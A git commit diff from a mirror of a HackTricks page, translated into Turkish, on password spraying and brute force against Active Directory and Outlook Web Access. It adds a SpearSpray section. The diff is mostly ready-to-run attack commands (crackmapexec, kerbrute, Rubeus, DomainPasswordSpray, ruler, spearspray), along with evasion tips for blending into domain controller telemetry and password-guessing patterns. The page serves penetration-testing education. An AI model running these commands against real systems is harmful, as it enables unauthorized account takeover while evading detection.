mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/pass
This commit is contained in:
parent
df93c0e588
commit
7704bb4c60
@ -1,20 +1,20 @@
|
|||||||
# Şifre Spraying / Brute Force
|
# Password Spraying / Brute Force
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## **Şifre Spraying**
|
## **Password Spraying**
|
||||||
|
|
||||||
Birçok **geçerli kullanıcı adı** bulduktan sonra, her bir keşfedilen kullanıcı için en **yaygın şifreleri** denemeye başlayabilirsiniz (ortamın şifre politikalarını göz önünde bulundurun).\
|
Birkaç **geçerli kullanıcı adı** bulduktan sonra, keşfettiğiniz her kullanıcıyla ortamın parola politikasını göz önünde bulundurarak en yaygın **parolaları** deneyebilirsiniz.\
|
||||||
**Varsayılan** olarak **minimum** **şifre** **uzunluğu** **7**'dir.
|
Varsayılan olarak **minimum parola uzunluğu 7**'dir.
|
||||||
|
|
||||||
Yaygın kullanıcı adı listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
Yaygın kullanıcı adı listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
Birden fazla yanlış şifre denerseniz bazı hesapların kilitlenebileceğini unutmayın (varsayılan olarak 10'dan fazla).
|
Unutmayın ki **birkaç yanlış parola denerken bazı hesapları kilitleyebilirsiniz** (varsayılan olarak genelde 10'dan fazladır).
|
||||||
|
|
||||||
### Şifre politikasını öğrenme
|
### Parola politikasını alma
|
||||||
|
|
||||||
Eğer bazı kullanıcı kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **şifre politikasını** **şu şekilde alabilirsiniz**:
|
Eğer bazı kullanıcı kimlik bilgilerine sahipseniz veya domain kullanıcısı olarak bir shell'e erişiminiz varsa **parola politikasını şu şekilde alabilirsiniz**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -31,7 +31,7 @@ net accounts
|
|||||||
|
|
||||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||||
```
|
```
|
||||||
### Linux'ten (veya tümünden) Sömürü
|
### Linux'tan İstismar (veya tüm platformlar)
|
||||||
|
|
||||||
- **crackmapexec** kullanarak:
|
- **crackmapexec** kullanarak:
|
||||||
```bash
|
```bash
|
||||||
@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
# Brute-Force
|
# Brute-Force
|
||||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||||
```
|
```
|
||||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(kilitlenmeleri önlemek için deneme sayısını belirtebilirsiniz):**_
|
- [**spray**](https://github.com/Greenwolf/Spray) _**(hesap kilitlenmelerini önlemek için deneme sayısını belirtebilirsiniz):**_
|
||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) kullanarak - TAVSİYE EDİLMİYOR, BAZEN ÇALIŞMAYABİLİR
|
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - ÖNERİLMEZ, BAZEN ÇALIŞMAYABİLİR
|
||||||
```bash
|
```bash
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||||
@ -69,7 +69,7 @@ done
|
|||||||
```
|
```
|
||||||
#### Windows'tan
|
#### Windows'tan
|
||||||
|
|
||||||
- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülü ile versiyonu:
|
- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülüne sahip sürüm ile:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -77,7 +77,7 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak alan kullanıcılarını oluşturabilir ve alanın şifre politikasını alarak denemeleri buna göre sınırlayabilir):
|
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak domain'den kullanıcıları oluşturabilir ve parola politikasını domain'den alır ve denemeleri buna göre sınırlar):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
@ -89,17 +89,82 @@ Invoke-SprayEmptyPassword
|
|||||||
```bash
|
```bash
|
||||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||||
```
|
```
|
||||||
|
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||||
|
|
||||||
|
Kerberos pre-auth–based spraying, SMB/NTLM/LDAP bind denemelerine göre gürültüyü azaltır ve AD kilitleme politikalarıyla daha iyi uyum sağlar. SpearSpray, LDAP kaynaklı hedefleme, bir desen motoru ve politika farkındalığını (domain policy + PSOs + badPwdCount buffer) birleştirerek hassas ve güvenli bir şekilde spray yapar. Ayrıca Neo4j'de ele geçirilmiş principal'leri BloodHound pathing için etiketleyebilir.
|
||||||
|
|
||||||
|
Key ideas:
|
||||||
|
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||||
|
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
|
||||||
|
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
||||||
|
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
|
||||||
|
- Throughput control with threads, jitter, and max requests per second.
|
||||||
|
- Optional Neo4j integration to mark owned users for BloodHound.
|
||||||
|
|
||||||
|
Basic usage and discovery:
|
||||||
|
```bash
|
||||||
|
# List available pattern variables
|
||||||
|
spearspray -l
|
||||||
|
|
||||||
|
# Basic run (LDAP bind over TCP/389)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||||
|
|
||||||
|
# LDAPS (TCP/636)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||||
|
```
|
||||||
|
Hedefleme ve desen kontrolü:
|
||||||
|
```bash
|
||||||
|
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||||
|
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
|
||||||
|
|
||||||
|
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||||
|
```
|
||||||
|
Gizlilik ve güvenlik kontrolleri:
|
||||||
|
```bash
|
||||||
|
# Control concurrency, add jitter, and cap request rate
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||||
|
|
||||||
|
# Leave N attempts in reserve before lockout (default threshold: 2)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
||||||
|
```
|
||||||
|
Neo4j/BloodHound zenginleştirmesi:
|
||||||
|
```bash
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||||
|
```
|
||||||
|
Desen sistemi genel bakışı (patterns.txt):
|
||||||
|
```text
|
||||||
|
# Example templates consuming per-user attributes and temporal context
|
||||||
|
{name}{separator}{year}{suffix}
|
||||||
|
{month_en}{separator}{short_year}{suffix}
|
||||||
|
{season_en}{separator}{year}{suffix}
|
||||||
|
{samaccountname}
|
||||||
|
{extra}{separator}{year}{suffix}
|
||||||
|
```
|
||||||
|
Kullanılabilir değişkenler şunlardır:
|
||||||
|
- {name}, {samaccountname}
|
||||||
|
- Her kullanıcının pwdLastSet (veya whenCreated) değerinden türetilen zaman bileşenleri: {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||||
|
- Kompozisyon yardımcıları ve organizasyon tokenı: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
|
Operasyonel notlar:
|
||||||
|
- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için -dc ile PDC-emulator'a sorgu göndermeyi tercih edin.
|
||||||
|
- badPwdCount sıfırlamaları, gözlem penceresinden sonraki bir sonraki denemede tetiklenir; güvenli kalmak için eşik ve zamanlamayı kullanın.
|
||||||
|
- Kerberos pre-auth denemeleri DC telemetrilerinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın.
|
||||||
|
|
||||||
|
> İpucu: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
Outlook için p**assword spraying** yapmak için birden fazla araç vardır.
|
p**assword spraying outlook** için birden fazla araç vardır.
|
||||||
|
|
||||||
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) ile
|
- İle [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||||
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) ile
|
- İle [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||||
- [Ruler](https://github.com/sensepost/ruler) ile (güvenilir!)
|
- İle [Ruler](https://github.com/sensepost/ruler) (güvenilir!)
|
||||||
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) ile (Powershell)
|
- İle [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||||
- [MailSniper](https://github.com/dafthack/MailSniper) ile (Powershell)
|
- İle [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||||
|
|
||||||
Bu araçlardan herhangi birini kullanmak için bir kullanıcı listesine ve bir şifreye / bir dizi şifreye ihtiyacınız var.
|
Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve spray yapmak için bir password / küçük bir password listesine ihtiyacınız var.
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
@ -120,6 +185,11 @@ Bu araçlardan herhangi birini kullanmak için bir kullanıcı listesine ve bir
|
|||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
|
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
||||||
|
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
||||||
|
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
|
||||||
|
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
|
||||||
|
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
|
||||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
||||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user